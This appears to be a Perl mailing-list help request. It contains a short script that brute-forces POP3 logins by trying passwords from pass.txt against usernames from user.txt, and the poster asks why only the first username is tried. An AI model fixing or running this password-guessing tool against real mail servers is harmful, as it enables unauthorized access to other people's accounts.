#!/usr/bin/perl -w
use strict;
use Authen::Simple::POP3;
print "Enter POP3 server hostname: ";
chomp( my $host = <STDIN> );
my $pop3 = Authen::Simple::POP3->new(
host => $host
);
my $pwdlst = "pass.txt";
open( INPASS, $pwdlst ) || die "\nERROR: Cannot open file \'$pwdlst\'!
\n";
my $usrlst = "user.txt";
open( INUSER, $usrlst ) || die "\nERROR: Cannot open file \'$usrlst\'!
\n";
while ( my $user = <INUSER> ) {
chomp $user;
while ( my $pass = <INPASS> ) {
chomp $pass;
if ( $pop3->authenticate( $user, $pass ) ) {
printf "\nPassword is \'%s\' .\n", $pass;
} else {
printf "\nTrying %s - %s\n", $user, $pass;
}
}
}
close(INUSER);
close(INPASS);
# It's supposed to read first username from user.txt
# and try it against all the passwords from pass.txt,
# and then to move to the next username and run that
# against all the passwords, too, and so on...but it
# does not work that way..it just check passwords
# against the first username and then exits. What's
# the problem?
# Thanx for any help.
--
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
http://learn.perl.org/